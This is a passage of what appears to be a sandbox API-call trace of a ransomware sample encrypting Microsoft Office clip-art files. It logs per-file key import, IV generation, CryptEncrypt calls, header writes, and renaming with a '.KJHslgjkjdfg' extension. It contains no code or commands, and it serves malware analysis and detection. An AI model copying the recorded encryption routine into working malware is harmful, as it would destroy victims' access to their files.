lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.191] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.191] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.191] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x78a, lpOverlapped=0x0) returned 1 [0187.191] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790) returned 1 [0187.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.191] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x790, lpOverlapped=0x0) returned 1 [0187.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.191] SetEndOfFile (hFile=0x114) returned 1 [0187.194] GetProcessHeap () returned 0x2a0000 [0187.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.194] GetProcessHeap () returned 0x2a0000 [0187.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.kjhslgjkjdfg")) returned 1 [0187.195] CloseHandle (hObject=0x114) returned 1 [0187.195] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE04050_.WMF", cAlternateFileName="")) returned 1 [0187.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.197] GetProcessHeap () returned 0x2a0000 [0187.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.197] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.197] GetProcessHeap () returned 0x2a0000 [0187.197] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.197] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.197] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.197] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.199] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.199] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.199] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.199] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.199] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.199] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.200] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1020, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1020, lpOverlapped=0x0) returned 1 [0187.200] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020, dwBufLen=0x1020 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1020) returned 1 [0187.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.201] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1020, lpOverlapped=0x0) returned 1 [0187.201] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.201] SetEndOfFile (hFile=0x114) returned 1 [0187.203] GetProcessHeap () returned 0x2a0000 [0187.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.203] GetProcessHeap () returned 0x2a0000 [0187.203] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.kjhslgjkjdfg")) returned 1 [0187.204] CloseHandle (hObject=0x114) returned 1 [0187.204] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05665_.WMF", cAlternateFileName="")) returned 1 [0187.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.206] GetProcessHeap () returned 0x2a0000 [0187.206] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.206] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.206] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.206] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.208] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.208] GetProcessHeap () returned 0x2a0000 [0187.208] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.208] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.208] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.208] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.208] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.209] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.209] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.209] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.209] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x37f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x37f8, lpOverlapped=0x0) returned 1 [0187.210] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3800, dwBufLen=0x3800 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3800) returned 1 [0187.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3800, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3800, lpOverlapped=0x0) returned 1 [0187.210] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.210] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x38d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.210] SetEndOfFile (hFile=0x114) returned 1 [0187.213] GetProcessHeap () returned 0x2a0000 [0187.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.213] GetProcessHeap () returned 0x2a0000 [0187.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.kjhslgjkjdfg")) returned 1 [0187.215] CloseHandle (hObject=0x114) returned 1 [0187.215] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05710_.WMF", cAlternateFileName="")) returned 1 [0187.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.216] GetProcessHeap () returned 0x2a0000 [0187.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.219] GetProcessHeap () returned 0x2a0000 [0187.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.220] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.220] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.220] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x167c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x167c, lpOverlapped=0x0) returned 1 [0187.221] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1680, dwBufLen=0x1680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1680) returned 1 [0187.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.221] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1680, lpOverlapped=0x0) returned 1 [0187.221] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.221] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.221] SetEndOfFile (hFile=0x114) returned 1 [0187.224] GetProcessHeap () returned 0x2a0000 [0187.224] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.224] GetProcessHeap () returned 0x2a0000 [0187.224] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.kjhslgjkjdfg")) returned 1 [0187.226] CloseHandle (hObject=0x114) returned 1 [0187.226] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE05869_.WMF", cAlternateFileName="")) returned 1 [0187.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.228] GetProcessHeap () returned 0x2a0000 [0187.228] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.228] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.228] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.228] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.231] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.231] GetProcessHeap () returned 0x2a0000 [0187.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.231] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.231] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.232] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.232] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.232] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.232] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x608, lpOverlapped=0x0) returned 1 [0187.232] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610, dwBufLen=0x610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610) returned 1 [0187.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.232] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x610, lpOverlapped=0x0) returned 1 [0187.232] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.232] SetEndOfFile (hFile=0x114) returned 1 [0187.235] GetProcessHeap () returned 0x2a0000 